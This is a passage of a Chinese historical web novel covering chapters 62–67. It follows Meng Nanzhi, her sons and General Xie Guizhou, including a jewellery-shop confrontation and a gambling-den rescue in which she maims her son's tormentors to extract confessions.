他拿起玉枕狠狠地扔在地上,突地抬头狠狠地盯着林婉柔,“荷风宴一事,是不是你做的?”
那双眸子,全是猩红的寒意,林婉柔双膝一软,跪在地上,哭诉道:“侯爷,妾身为人如何您是知道的,这么些年妾身待南枝如何您也是知道的,妾身怎么会干出这种事?”
沈卿知盯着她泛红的眼眶,莹白的脸上满是委屈。
这个他曾经肖想了很久的人,真的相处下来,却并没有他想的那么完美。
或许二叔说的错,但他眼下确实需要她。
林父是户部侍郎,又为他牵了左相,若是陆筝筝再和奕王更进一步。
眸色翻滚,他缓缓闭上眼,压了压心中怀疑的种子。
再睁眼,眸中带了温和,“起来吧。”
林婉柔攥着帕子起了身,在他看不见的背后,眸子里全是对女儿不争气的恼恨。
交代她办的事,办得是一塌糊涂。
若非她求父亲出面,说不定就真查到她头上了。
第62章 十年前的谢归舟从来不会直视她
难得睡了个好觉的孟南枝是被一阵沉闷的声响给惊醒的。
窗外透亮,竟然隐隐约约地出了太阳。
她昨日写到深夜,这会儿脑子还有些沉,刚支起身子,窗外又传来“霍霍”的破风声,比起刚才的沉闷,要清晰了许多,也刚猛了许多。
穿上素衣,孟南枝走到窗台,她睡觉不喜关窗,所以透过窗台可以直接看到东邻府院内,谢归舟正背对着她练枪。
他穿了身墨色劲装,身形挺拔,在淡金色的曦光中更显肩宽腰窄。
乌黑的虎头枪在他手中如游龙出海,带着破空的锐啸横扫而出,带起的劲风扫落了几片残叶,紧接着“唰”的一声,枪尖稳稳扎在对面的木靶上。
似察觉到什么,他猛地侧过身,晨光落在他棱角分明的脸上,额角的薄汗闪着细碎的光,那双在战场上睥睨千军的眼,直接与她的视线撞了个正着。
孟南枝心头一跳,正欲关窗,就听到一声清越的呼唤,“母亲。”
谢归舟旁边两丈处,沈砚修拿着一杆木枪正站在大树下同她打招呼。
实在是谢归舟练枪时太过亮眼,她竟然没看到长子。
谢归舟归回视线,对沈砚修道:“我刚才的动作你可看清了?腕力要沉下去,出枪是要快,更要准,你再来一遍。”
沈砚修冲阁楼上的母亲笑笑,开始模仿将军同他示范的动作,木枪并不重,偏生他手腕力气不够,总是发出沉闷声。
看到这里,孟南枝已经清楚地知道,自己被惊醒的沉闷声就是长子练枪发出的。
只是没想到谢归舟教长子练枪时挺有耐心,倒真像是个长辈了。
回到阁内,月芹已为她备好温水。
洗漱完毕,孟南枝简单地在头上插了根玉簪,问询身侧的刘嬷嬷,“谢将军和修儿很熟吗?”
她想起长子回来后,每次提到谢归舟都不自在的模样。
不像是很熟,还有点不想提的样子。
刘嬷嬷便将谢归舟每次归京,只要碰见沈砚修,就会把他抓走放到军营历练一事说与她听。
孟南枝闻言想起刚与谢归舟对视所看到的眸子,那双眸子,有锐力有杀气,但在与她对视后又直接转换成了掺杂着热烈的温和。
不由叹气,这不问还好,一问,感觉欠谢归舟的人情更深了。
总归是要好好地还上那么一还。
整理了下发髻,她又问道:“珩儿呢?可是还未起?”
次子比起长子总归是要让人多操心一些。
刘嬷嬷将妆匣收起来,笑道:“谢将军原本也是寻二公子一起练枪的,二公子一早便出门了。”
自姑娘回来后,两位公子是一个比一个懂事了。
“他那么早出门是有什么事?”
梳妆完,孟南枝起身披了件外衣,有些不解。
回来这几日她也算是摸着了次子沈砚珩的性子,不懒惰,却也不是那么爱早起的人。
刘嬷嬷摇头,帮孟南枝系上盘扣。
她确实不清楚二公子今日为何起得那般早,着实是反常了些。
想起昨晚问起书童,沈砚珩吱唔的模样,孟南枝又问道:“珩儿的书童呢?”
刘嬷嬷手下一顿,垂下眼帘道:“二公子现在没有书童。”
没有书童?
那么昨夜他们两兄弟信誓旦旦,说的安排书童出去办事,便是哄骗她的?
孟南枝眯了眯眼,“怎么回事?说清楚。”
刘嬷嬷斟琢了下语言,回道:“侯爷在二公子五岁时,为他选了一名书童,那名书童待二公子很是忠厚,但在二公子十岁那年,因着撞破了侯爷和平夫人的事,被侯爷杖毙了。”
“后来,侯爷再给二公子选书童,二公子便会找各种理由把那些书童辞退,久而久之,侯爷也不再管他了。”
沈卿知,他当真是一个好爹!
孟南枝眸中略过怒意,握紧了手指,身为一个世家子弟,竟然没有安排书童。
这让京里人如何看他,书院里的人又如何看他。
孟南枝想起昨前日里在书院,那群学子看次子与她一样,虽亲切却陌生的神情,突地问道:“珩儿常去院吗?”
刘嬷嬷低下头,轻声道:“二公子很是聪慧,一点就通,所以便常常外出学习。”
孟南枝当下便已通透,说好听说是外出学习,说难听点那就是常常旷课。
怪不得那群学子不仅看她陌生,看次子也陌生,原来次子根本就不常去书院。
便又问道:“那他这两日是照常上学?还是去了又旷课?”
刘嬷嬷回道:“姑娘回来后,二公子很是规矩,并未旷课。”
此时孟南枝已完全明了,昨夜两个儿子瞒她,定是不想让她生气。
只是她心里已经有了计较,这帐早晚是要跟沈卿知算的。
从阁楼下来后,孟南枝直接去了谢归舟的院子。
沈砚修练枪刚好到一段落,见她过来立马就跑到了她跟前,“母亲,你看到我刚才练枪没?”
少年的脸上泛着健康的红晕,额间沁着汗意,手里还握着一人高的木枪,望向她的双眸之中满是难掩的雀悦,还带着想求夸奖的傲娇。
孟南枝满目笑意:“很厉害,虎虎生风。”
真得了夸赞,沈砚修就又不好意思了,非常谦虚地说道:“都是将军教得好。”
虽然昨日听到母亲称谢将军小叔,但他还是叫不出“爷爷”二字。
“那你可得多跟将军学习。”
孟南枝叮嘱完长子,随即转过身对谢归舟端端正正行了一礼,“多谢将军愿意赐教。”
昨日称“小叔”是私,今日称“将军”便是公了。
长子之事即是私又是公,但看谢归舟的态度,应是以公为主。
谢归舟在看到她进来,便已收了枪,对着光静立在沈砚修身后,语气温和,“世子聪慧,只要肯沉下心学,将来定能有所成就。”
他了解她,重亲情,对子女期许很高。
沈砚修震惊了:将军今日竟然夸他。
要知道他以前每次被将军拉去军营历练,都是从头训到尾,嫌弃他这也不是那也不行,从来就没夸过他的好不好。
顿时有些不好意思地抓了抓耳鬓,非常隐晦地想要跟母亲请功,“母亲,将军陪我练了一早,还没吃早膳呢。”
“那便一起吧。”
孟南枝递给长子布巾让他擦汗,同时也递了一根给谢归舟。
“谢谢。”
谢归舟越过沈砚修走到她身前,接过布巾,简单地擦拭了下额间的汗液又递还给她。
十年前的谢归舟从来不会直视她,所以直到晨光洒在他的脸上,孟南枝才注意到他眉骨下竟然有颗墨痣。
恰好生在眼角外侧,随着晨光的忽明忽暗,竟然比他睫毛上的光泽还要鲜活。
孟南枝瞬间明悟,这么优秀的人,还人情最好的方法定是治好他的“重疾”。
第63章 既然眼睛没用,就别要了吧
因她和离那日空了钩,此后数日父亲便未再去钓鱼,和胡姨娘早早用过了早膳。
所以吃饭的时候便只有孟南枝他们三人。
吸收昨晚的教训,待菜上齐,孟南枝先为谢归舟布了菜,“谢小叔,请用膳。”
谢归舟手指僵了僵,“称我将军吧。”
虽然他更希望对方唤他名字。
孟南枝主打一个长辈说的照做,笑眯眯地换了称呼,“将军,请。”
跟这么大一个“人情”一起吃饭怎么都有些不自在。
孟南枝自动忽略掉他,同长子沈砚修问道:“你弟弟干什么去了?”
沈砚修夹菜的动作一僵,低垂着眼睛回道:“他去接下书童。”
孟南枝闻言未再说话。
接书童还用他亲自接?
明显又是在说慌。
这两个孩子到底是准备搞什么明堂。
想了想还是觉得不能这么由着他们,便又问道:“今天不用去书院?”
“今天休沐。”
沈砚修简单地回了一句,就开始闷头吃饭。
母亲威压太大,珩弟再不回来,他就要撑不住了。
“行,那用过早膳你同我一起去接你弟。”
孟南枝觉得有些饱了,她这次子不会又跑去醉香阁了吧……
沈砚修欲言又止,“母亲,珩弟他很快就会回来的。”
孟南枝更加确定次子是出去搞事了。
只是当着外人的面不好揭穿他。
孟南枝只能不动声色地静等着他与谢归舟吃完,才跟着放下银箸。
“走吧,去寻你弟。”
怄不过母亲,沈砚修只得在前面带路。
孟南枝出了庭院,才发现谢归舟竟然一直在后面跟着。
“将军,您忙,我和犬子出去逛逛。”
次子若真做了丢人的事,外人还是不用知道的好。
谢归舟看着她笑眯眯的眼睛,眼角跟着弯了弯,“正好,我回京之后还没好好逛逛。”
明显是要跟他们一起的意思。
孟南枝给长子使眼色,想让他出言拒绝。
沈砚修哪敢,他在将军面前就是个新兵蛋子,提不出反驳的词。
孟南枝目光落在谢归舟受伤的那只手上,默默叹气,果真不能欠人情,还不了这心里就不舒坦,跟有罪似的。
孟南枝只好让他跟着。
算了,就当祖宗一样先供着再说吧。
因着天色稍晴,今日的街市格外热闹,路边小贩出来了许多。
人来人往的,到处都是叫卖和嬉戏声。
沈砚修东逛逛西逛逛,就是不提沈砚珩去了哪里。
孟南枝便也忍着,总归是出不了大事。
端看两个儿子到底因何作妖。
谢归舟跟在她身侧,看着她与沈砚修两人相互较劲,眉目间带了几分暖意。
他这是第一次同她一起逛街。
感觉很奇特,整个人都是愉悦的。
路上经过一个摊位,年青的小贩熟络地拦住了他,道着一口并不熟练的官话:“公子,给娘子买根簪子吧。”
谢归舟年长,孟南枝梳着妇人髻,他自然而然地把两人归为一家。
至于少年沈砚修,自然被他归为弟弟。
“您别看这簪子简单,却是新打的缠枝莲纹,配您这位娘子正好。”
他也不是随意拦的客人,这三人明显一看就是贵人,男的英俊,女的漂亮,少年也是雅气得很。
玉簪在阳光下泛着温润的光泽,缠枝莲的纹路细腻得能看清脉络。
谢归舟目光落在孟南枝发间,若是她插了他亲手送的发簪。
小贩的话孟南枝也有听到,皱了皱眉正准备拒绝,长子突然拐回来看了眼他手中的发簪,有些嫌弃,“母亲,前面有家翠玉楼,里面的款式都是最新的,我送你。”
这小贩倒是给提了个醒,想想母亲回来,他还没有送过母亲礼物呢。
孟南枝被他拉着离开,便也忘了解释与谢归舟没有关系的话。
小贩有些呆愣,什么母亲?
那娘子明明也就花信之年,可那少年也差不多束发或及冠了吧。
谁家娘子小小年纪不到十岁就生孩子啊。
生意没做成,还吃了个大瓜。
这京里人的门道就是多。
不解的摇头正准备把那玉簪收起来,却不想竟被人夺了去。
谢归舟眼角含笑地捏着簪尾,随手递给他一块碎银。
“公子眼光就是好,这玉簪跟您娘子最配。”小贩接过碎银连连夸赞。
“不用找了。”
谢归舟心情很好,第一次有人称枝枝是他娘子。
小贩握着碎钱满心感慨,怪不得师傅说京都人富有,好赚钱。
他进京后第一次摆摊,随手进的便宜货,竟然翻了百倍的给赚了回来。
孟南枝被沈砚修拉着进了一间玉铺。
沈砚修进门便气势很足地冲掌柜的喊道:“把你们这最贵最好看的簪子拿出来。”
跟一个乡下来的土包子似的。
孟南枝觉得有些好笑,却也由着他。
难得见长子这么孩子气。
却不想偏有人看不得他这么得意,“哟,这不是镇北侯家的沈世子么,听说是逼着父亲与母亲和了离,还真是硬气。”
曾被长子一脚踹在地下,还被孟南枝一碟打晕,又被谢归舟坐堂在狱中坐了两日的吏部尚书家的公子,黄营东。
仇人见面,分外眼红。
沈砚修也不是那会低头的主,“这不是吏部尚书家的嫡二子么,还真是贵气。”
吏部尚书只有他这么一个嫡子,因那妾室先生下长子,他就一直被人戏称为“嫡二子”,不仅他母亲难以忍受这耻辱,黄营东更是难以忍受。
所以他说起话来更加没有顾忌,看着孟南枝一脸嘲讽:“你母亲为你父亲戴了绿帽子,竟然还有脸去和离。”
沈砚修眸色血红,上去就是一脚,“你说谁,你再说。”
被踹翻在地的黄营东继续满口脏言脏语,“你母亲十年没回来,要说在外面没有男人,谁信。”
孟南枝拉开杀心上头的沈砚修,走到他面前,眼神含怒,“你再说一遍。”
黄营东在她满是寒冰的目光下有些发怯,但到底还是怒意占了上风,“我说你在外面有男人。”
他爹是吏部尚书,一个镇北侯不要的女人而已,他才不怕。
孟南枝眉中含笑,“你看见了?”
黄营东嘴硬,“不用看也知道,十年不在京中,要说没有男人,谁信。”
呵!
孟南枝嗤笑一声,从发间抽出玉簪,直接刺向他的眼睛,“既然眼睛没用,就别要了吧。”
第64章 将军不会是对母亲有什么想法吧
她上次就觉得他该死,这次觉得他更该死了。
孟南枝觉得如果她不出手,长子可能真的就被逼成了杀人凶手。
玉簪就要刺中他眼珠刹那,挑选首饰的马夫人扑了过来,“东儿!”
孟南枝的手被推歪了一把,没能刺中眼珠,簪尖顺着眼角直接划过脸颊,鲜血直流。
“母亲,我的眼睛,我的眼睛,看不见了。”
黄营东捂着眼睛在地上痛得打滚。
簪尖触地,碎了一片。
到底是玉质的,不结实。
孟南枝有些可惜地起身抽出帕子擦了擦被滋在手上的血,手边递来一根玉簪,孟南枝以为是长子给的,顺手接过便插回了发间。
马夫人看着捂住眼睛的儿子和满地的鲜血,嘴唇哆嗦着说不出话,“眼,儿啊,我的儿。”
沈砚修上前一步站在母亲前面,若是这马夫人突然发疯,他要护着母亲。
谢归舟目光落在孟南枝发间的那枝缠枝莲纹玉簪上,眉目黏湿含笑,对吓呆了的掌柜吩咐道:“去寻个大夫过来。”
“是,是,将军。”
掌柜慌忙跑了出去。
马夫人终于缓过神,满目含泪,愤恨地指着孟南枝,“你,你,孟南枝你欺人太甚!”
孟南枝嗤笑一声,“看来马夫人还是忘了我之前说的话,没有回去好好地管教自己的儿子,想来是对那府衙和牢狱甚是留念。”
马夫人气不过,“你做了那等事,还不让人说了?你当次次都有人护着你?”
谢归舟适时的轻声开口,“三番五次污人清白,按律,当充军。”
听到“充军”二字,黄营东吓得抖了抖,“母亲,救我。”
圣上对屠戎将军的看重程度,满京皆知。
若谢归舟说他该充军,那他怎么也躲不了。
充军,他可该怎么活,还不如瞎了。
马夫人面白苍白,终于知道踢到了铁板,将儿子护在身后,对着谢归舟哀求道:“将军赎罪,营东他只是个孩子,回去我会好好教训他,定不会再犯。”
谢归舟眸色阴冷。
这两人都该死,竟然对他心心念念的人一再欺辱。
冷汗沁了满额,马夫人见他不为所动,突然慧至心灵,跪扑到孟南枝面前,“孟姑娘,求你同将军说说好话,我儿他也是被人蒙蔽,才说了混账话,我定会好好的管教他。”
孟南枝往后退了两步,并未接她的话。
欺软怕硬而已,若谢归舟不在,依她对这两人的了解,断不会服软。
谢归舟都已经出面给她撑脸了,她若是轻易原谅,那便是将谢归舟的脸面往地上踩了。
怎么也得让对方好好地把罪给赔了,才不至于把这脸面落了地。
掌柜的寻来了大夫,很快便为黄营东看诊完伤势,规规矩矩地行礼,“公子并无大碍,只是伤及眼角和脸颊,涂些伤药,养上月余便可痊愈。”
马夫人松口气,已知此事全在孟南枝,便又对她说道:“孟姑娘,这事全怪我,是我在东儿面前一直口无遮言,这才让他以为……”
说到此处,马夫人抬眼偷瞄了下依旧面色冷漠的谢归舟,自知若是不表态,今日这事便没完。
猛地一下朝自己脸上扇了两巴掌,“是我教子无方,愿孟姑娘原谅,愿将军原谅,愿沈世子原谅。”
“母亲。”
沈砚修拉了拉孟南枝的衣角。
外祖父早已致仕,这些年在朝中名声渐没。
母亲又已与父亲和离。
吏部尚书的夫人和嫡子,不能逼得太过。
孟南枝知道长子的顾虑,轻拍了拍他的手,对马夫人冷声道:“再有下次,马夫人便准备收尸吧。”
马夫人擦了擦额角的冷汗,声音中带着颤意连连保证,“没有下次,我一定会好好的管教东儿。”
没了再看好好发簪的心情,孟南枝领着长子出了店铺。
谢归舟冷冷地斜睨了马夫人一眼,跟着孟南枝走了出去。
黄营东躲在马夫人的身后,摸着脸颊,满心痛苦,“母亲,我的脸会不会留疤。”
马夫人心疼捧着他的脸,泪落满脸,“母亲给你寻最好的药,绝不会让你留疤。”
黄营东又摸了摸刺痛的眼角,眸子里全是恨意,“母亲,我要杀了那个贱人,她竟然敢毁了我的脸,我的眼睛差点就被她刺瞎看不见了。”
马夫人连忙捂住他的嘴,看了眼刚走出不远的孟南枝和谢归舟,“你小声点,这事咱回家慢慢商议。”
孟南枝现在有屠戎将军护着,他们不能做得明目张胆。
出了店铺,沈砚修看了眼情绪没什么变化的母亲,觉得自己该学习和成长的地方还有很多。
母亲做事很有章法,不委屈自己,又为自己寻好退路。
而且母亲对律法很熟。
发觉长子一直在偷看自己,孟南枝觉得有些好笑,“母亲脸上可是脏了?”
“没有,孩儿就是觉得母亲厉害。”
沈砚修毫不吝啬对母亲的夸赞,只是目光掠到母亲发间的那支发簪时,静下了声。
他亲眼看着将军将那发簪递到母亲手里,母亲又毫不在意地插在了发间。
送女子发簪,还是缠枝莲纹。
将军不会是对母亲有什么想法吧?
沈砚修偷偷地瞄了眼跟着身后的谢归舟。
面色依旧清冷,看不出有什么异常,觉得自己可能想多了。
满京都知道屠戎将军一心屠戎,不近女色,京里那么多优秀的世家姑娘都没能入了他的眼。
母亲虽然漂亮,但还不至于能把一心只为屠戎的将军给拉下凡尘。
将军大概就是看母亲的发簪碎了,顺手递给她的。
毕竟母亲不是还称他为“小叔”么。
长辈送给晚辈,那就没什么奇怪的了。
得了长子夸赞的孟南枝自是不知他此时的想法,见他还是漫无目的地走着,便是问道:“修儿你准备把我带到哪里?珩弟接个书童还能满大街跑?”
“就快到了。”
沈砚修有些尴尬地挠了挠发鬓,他都要忘了,是要带母亲出来找珩弟。
也不知道珩弟到底把事情解决了没有,有没有把“书童”接回来。
直到三个人行至之前次子为试探她,故意落水地附近。
“母亲,就在这等一会儿珩弟吧。”
沈砚修停下不走了,再走就走过了。
孟南枝眯了眯眼,长子怕是不知道次子为试探她落水一事。
第65章 满身燥热如丝缠血
三人在原地等了整整大半个时辰都没能等到沈砚珩。
孟南枝额间已经沁了汗,再说还有将军也一直跟着。
沈砚修清了清嗓子,尽量让语气显得自然些:“母亲,依我看,珩弟他许是已经回家了。”
马上就要日上三竿了,珩弟不至于这么久还没把人接回去。
“既如此,那就先回吧。”
孟南枝微微颔首,倒也没什么不悦。
想来许是他们在那店内与马夫人争执耽搁了些时辰,与沈砚珩阴差阳错地岔开了。
可谁曾想,三人一路回到孟府,压根就没见到沈砚珩的影子。
“你珩弟到底干什么去了?”
孟南枝眉头蹙起,觉得没必要再这么由着他们兄弟俩这么闹下去。
见母亲的脸色沉下来,沈砚修轻声道:“母亲再等一会儿。”
心中却是暗暗焦急,他都拖这么久了珩弟还不回来。
“修儿。”孟南枝加重了语气,“你还准备瞒我什么呢?”
沈砚修心头“咯噔”一跳,忘了母亲可能会知道。
不免开始低头揉捏着手指,“母亲,珩弟他现在没书童,怕你担心,所以他准备去找个书童回来。”
孟南枝即生气又觉得好笑:“没有书童就没有书童,说实话母亲为他安排一个便是,至于来哄骗母亲吗?还去找一个,他准备去哪里找一个?”
沈砚修没敢再瞒:“珩弟之前认识的一个朋友。”
其实沈砚修本来是想给珩弟买一个,或者找沈府以前的家仆来做珩弟的书童。
但珩弟不愿意,说刚买的不知底,又不想和沈府再扯上关系,让母亲生气。
所以非要去找自己以前的朋友来。
孟南枝问:“什么朋友?在哪认识的?”
沈砚修有些吱唔,“就……城西,等珩弟回来吧。”
他其实也不是太清楚,自上次珩弟离家出走之后,很多事情都开始瞒着他。
长子不熟。
孟南枝心沉了下去,突然想起上次醉香阁那两个人还没寻到,次子沈砚珩提及那两个人还故意瞒着,顿时有些慌神。
次子不会继续走上喜欢去风月场所的老路吧?
“走,去醉香阁。”
孟南枝脚步有些急。
谢归舟虚扶了她一把,温声安抚:“别着急,我派人去寻他。”
他的声音沉稳有力,孟南枝定了定神,对长子嘱咐道:“你带有家仆先去他说的地方再去看一看。”
母亲的安排,又涉及珩弟,沈砚修不敢耽搁,叫上观棋和两个家仆就寻了出去。
强壮的百万也照着谢归舟的命令,带着几个侍卫满京城寻他。
谢归舟则后跟着孟南枝去了醉香阁。
醉香阁本就是京内有名风月场所,专做夜间的营生。
孟南枝到时,大门半掩,阁内静悄悄的,只有几个伙计在慢条斯理地收拾昨晚的狼藉,空中还残留着浓烈的酒气和脂粉香。
她与谢归舟转了一圈,并没寻到次子沈砚珩。
待她离开后,阁内二层一双玉手轻轻推开窗,饶有兴致地盯着她的背影,轻扇着团扇又关上了窗。
路上碰到按照沈砚珩往日常喜欢去的地方去寻的百万,也都没有寻到他。
一路走得着急,孟南枝鬓边的汗珠顺着脸颊往下掉,衣襟湿了大半,黏糊糊地贴在背上。
“别担心,砚珩他不会有事的。”
谢归舟看着她因着急而绯红的脸颊,眉宇之间皆是担心和心疼。
他以前只觉得沈砚修被那沈卿知养得歪了些,所以他每次回京见到他总想替她掰一掰,倒是忽略了这个还没长大的沈砚珩。
孟南枝摇头,她知次子不会出大事,但也见不得他出小事。
忽然,一阵粗嘎的喝彩声顺着风滚过来,夹着铜板碰撞的声响。
是赌坊。
孟南枝的脚步猛地顿住,巨幕里次子缺了根手指的画面涌在眼前。她脚步有些发软地转身,往那赌坊挪。
谢归舟紧紧跟在她身后,时不时地虚扶她一把。
推开破旧的木门,昏暗的赌坊内满是人影。
孟南枝转了一圈,没有寻到沈砚珩的影子,长松一口气,出了门立马和谢归舟去下一家赌坊寻找。
直到进了一家名为“聚财坊”的赌坊,孟南枝看到昏暗光线下的那道人影,心立马就沉了下来。
沈砚珩正被两个男人左右夹击,站在一张赌桌旁。
“珩公子,押大还是押小?”
沈砚珩青衣锦袍的袖子早已卷起来,露出瘦弱的胳膊,双目紧紧盯着赌桌上的骰子,满眼都是兴奋,“押大!”
“大,大,大!”
赌桌旁的人跟着起哄,骰盅落下,骰子翻滚的声音在孟南枝听来格外刺耳。
她盯着沈砚珩两侧的男人,双手紧握成拳,指甲几乎嵌入掌心。
那正是之前同沈砚珩一起去醉香阁,哄骗着他差点提前破身的两个一壮一瘦的男人。
偏生此前沈砚珩好似还挺看重他们,不肯与她说实话。
全神贯注投入到赌局中的沈砚珩并未注意到门边的动静,当骰盅被掀起,骰子停稳,点数揭晓后。
“中了,中了!”
旁边的瘦个男人拉住沈砚珩的衣服大叫,“珩公子,你看我说的对不对,你能行。”
沈砚珩傲娇的点头:“那是,也不看看本公子是谁!”
看着次子的模样,孟南枝气血攻心,只想一巴掌把他拍晕。
但她还是极力强迫自己冷静下来,次子性格是有些阴郁,但绝对不是好赌的人,这里面定有猫腻。
她深吸一口气,目光在赌坊内四处查看,终于在赌坊的一角,发现一名鬼鬼祟祟的男子,正与沈砚珩身边的瘦个男人悄悄交换着眼神。
孟南枝心中一凛,这两人之间定有问题。
她不动声色地拉住谢归舟的手,指了指那名男子,低声道:“劳烦将军帮我盯住那人,看看他等会儿准备做什么。”
谢归舟低头看着被她手住的手,头是往下点的,但大脑完全是空白的。
与昨日她为他包扎伤势时,轻轻执起不同,今日她的手指几乎全部贴在了他的掌心。
掌心的皮肤细腻柔软,只是轻轻一触,就惊得他浑身一僵,满身燥热如丝缠血,最终汇聚至某处,差点炸裂。
手背青劲暴起,低垂的眼眸中全是化不开的黏湿,谢归舟极力隐藏那种难以与人道出的情绪,猛地抬起手,对身后打出一个手势。
不知何时跟来的钱飞突然现身,听完将军的吩咐,又快速退了下去。
只是临走时又回头看了眼将军的手。
他怎么感觉,将军的手好像在抖。
而且将军的声音也太哑了些,跟喉间憋着股什么东西似的。
第66章 不说,就全都把手砍了
孟南枝丝毫未觉,她整个目光都落在了沈砚珩身上。
那个瘦个男人还在哄着他下注,“珩公子,再玩一把,今晚就又可以去醉香阁了。”
沈砚珩听到这三个字便想到那日在醉香阁的情形,自然而然就又想到了母亲,脑子瞬间清醒了些,把钱往他跟前一推,“你们玩吧,本公子该走了。”
瘦个男人拉住他,“别走啊,珩公子,咱这还没玩够,没尽兴呢。”
“不玩了。”
沈砚珩甩开他的手,有些生气。
他玩那是因为他想玩,但任何人都不能逼着他玩。
见他要走,一旁突然有人低低地喊了一声,“这人出老千。”
声音不大,却如平地惊雷,瞬间炸响一整个赌桌。
沈砚珩准备离开的脚步一顿,本就有些阴郁的眼神中添了几分寒意,“你说什么?”
他平日最恨被人冤枉。
虽是少年,但那与生带来的威压却是一下子就唬得那人缩了缩脖子,不敢再说话。
哪想同一赌桌的人,却是纷纷附和起来。
“对啊,他那么小一个少年说是第一次玩,却赢那么多。”
“对,哪有第一次玩就一直赢的。”
“就是,肯定是出老千了。”
沈砚珩脸色铁青,他确实赢了不少,但那是因为他运气好,再加上他聪明,哪里是什么出老千。
他怒视着说话的那几人,“你们休要胡说,本公子没有出老千!”
那几人却不怕他,“有没有出老千,搜一搜不就知道了。”
“哐当”一声,骰盅被掀落在地上,几个满脸横肉的汉子走过来,死死地拽住沈砚珩。
先前吓得不敢吭声的人,从他手指中掏出半枚铅片,“看,就是他出老千。”
“那不是我的!”
沈砚珩面色涨红,他行得堂堂正正,那铅片根本就不是他的东西。
他被做局了。
赌房的把头从角落里站起来,拿着一根铁棍走上前,打在他的手指上,“聚财坊的规矩,出老千,断一指。”
旁边立马有人递过来一把刀,沈砚珩被人控制住根本动不了,他额间生了冷汗,“还不快放开我,你们知不知道本公子是谁。”
“不管你是谁,今日这指头都要留下。”
把头又敲了敲他的手,语气阴森地根本就不给他说话的机会。
满脸横肉的汉子接过刀,阴笑着就要砍下。
孟南枝猛地喊道:“谢归舟!”
话音未落,谢归舟一个弹指过去,汉子手中的刀便被打飞了出去。
接着他又轻轻跃起,几个扫腿过去,那几名满脸横肉的汉子全被踢倒在地,捂着肚子满地痛苦的哀嚎。
“将……屠,屠戎将军。”
谢归舟的脸,京都皆知。
他目光冷冽地扫向在场的每一个人。
赌坊里的人全都吓得垂下了头,有胆大的想要跑出去,却发现赌坊外围满了侍兵。
沈砚珩脱了禁锢,连忙起身快步跑到了孟南枝面前,“母亲。”
孟南枝将他护在身后,走到先前差点把次子手指砍掉的那名汉子面前,捡起刀便砍了下去。
“你也配!”
一刀落地,对方便断了手。
血呲了她一脸,她擦也未擦地接着又走到那名把头面前。
狠人他见过很多,但狠的如此漂亮的妇人他却是第一次见。
把头吓得咽了咽口水,试图缓解她的愤怒,“侯夫人,您听我说……”
“原来,你知道我是谁。”
知道她是谁,那便知道沈砚珩。
知道还砍,那便是故意设局切次子的手指了。
孟南枝一刀砍在他的耳边旁边,等着他解释。
把头下意识地摸了下耳朵,“侯夫人,我也是见您才认出来,毕竟当年您的画像贴满了整个京都,我天天一开门就能看到您的画像。”
呵。
一个个的都挺会找借口。
只可惜她听见就觉得恶心。
孟南枝抽起刀又直接砍了下去,“说些我想听的。”
“啊!”
凄惨的叫声响满赌坊。
把头捂住断了四根手指的右手,痛得在地上打滚,“侯……侯夫人,我真的什么也不知道。”
“还不说吗?”
孟南枝又抽起刀,目光掠过他的大腿、手臂和脖子,“你猜这次会落在哪?”
脖子被她盯得凉飕飕的,把头吓得摇头,“我说,我说。”
他抬手指向躲在角落里先前孟南枝看到的那个鬼鬼祟祟的男人,“侯夫人,是那个人,是他给了我银钱,让我砍珩公子一根手指。”
那男子见状起身就跑,却被谢归舟直接给抓了过来,跟丢小鸡一样扔到孟南枝面前。
孟南枝拿刀起了身,那男人吓得直往后退,“我不知道,我什么都不知道。”
“说的还能保命,不说可什么就没有了。”
孟南枝步步逼近。
那男人看看满脸是血的孟南枝,又看看满脸寒意的谢归舟,最终吓得趴下道:“是他,是这个人让我找得把头。”
抬手所指,正是那个瘦个男人。
沈砚珩当场就青了脸,他走到那瘦个男人面前,使劲踹了他一脚,“本公子拿你当朋友,你竟然陷害本公子。”
瘦个男人摇头,“不是我,珩公子,我只是带你来玩,我真没想切你手指。”
粗壮的男人也跟着道:“真的珩公子,我俩就是想着带你来玩,真没想着会切手指。”
沈砚珩又岂会再信他俩说的话,气得一人又踹了一脚,“从峄城到京都,我拿你们当朋友,供你们吃喝玩乐,你们竟然就是这么对待我的。”
瘦个男人捂着肚子道:“真不是我。”
孟南枝不耐烦听他们扯皮,拿起刀在青石板上猛地一刮,划出刺耳的金属摩擦声,狠狠地扎进在场人的耳膜。
她平静的声音中带着难忍的愤怒,“不说,就全都把手砍了。”
欺她儿者,怒不能忍。
粗壮的男人最先扛不住,冷汗顺着他的额头往下淌,他双腿一软,竟“噗通”一下跪在了地上,喉结剧烈滚动着,带着哭腔求饶道:“别砍我,我说,我说。”
“是瘦猴说,有人雇他去救个人,我们从京都一路跑到峄城,按照那人说的寻到了珩公子,救他出来,先带着他去了青楼,本来是想让他破了处。”
说到此处,他瞟了眼地上孟南枝素静的裙裙摆,吞咽了下口水,“没想到遇见您,就没成事。我们跑了之后,这些时日一直在寻珩公子,但一直没机会,今早守在孟府门前等着他出来,这才哄着他来到这赌坊,我们就是想领着他赌赌博,根本就没有想着断他手指啊。”
这人没胆,不像个主事的。
孟南枝抬刀落在瘦个男人的脖子上,“你说。”
第67章 珩公子的母亲,可真狠
本就双腿发软的瘦个男人,被冰凉的刀锋一压,膝盖一软直接跪在地上。
视线往下,正撞见那刚被孟南枝砍下还在不停抽搐的断手,顿时吓得脸色苍白,直冒冷汗,“胖头说的是真的,我们就是想领着珩公子玩会儿,从来没有想过要砍他的手指……”
还在嘴硬。
孟南枝眼神冷下来,微眯了眯眼,手腕稍一用力,刀锋便往他的颈间进了半寸。
“嘶!”
细微的割裂声响起,鲜红的血液瞬间就顺着刀锋流了下去,滴晕在青石板上。
到底是并未真的杀过人,鲜血入目,孟南枝突然觉得有些胸闷,手一抖,那刀竟然又想再进半寸。
“我说,我说。”
瘦个男人瞳孔收缩,吓得浑身直颤,裤档突然一热,一股腥燥味便蔓延整个赌坊。
谢归舟眸色微变,抬腿上前将他踢远了三尺。
而后转身走到孟南枝面前,温柔地从她手中取下刀,并递了帕子给她。
孟南枝擦净脸上的血迹,在次子沈砚珩搬来的椅子上坐下,稳定心神冷声道:“说。”
脖间伤口一直流着血,肋骨似乎也被踢断了几根,瘦个男人害怕地起身在原地跪下,根本不敢再到她面前来。
他使劲咳出两口闷血,才颤抖着嘴唇道:“我和胖头没什么本事,一直在西市游手好闲,月余前,突然有个人寻到我,说给我个生财的营生。”
“他给我看了珩公子的画像,说珩公子在峄城,只要我听他的安排救了珩公子,哄着他一直吃喝嫖赌,不务正业,他就会每隔七日给我们二十两银子。”
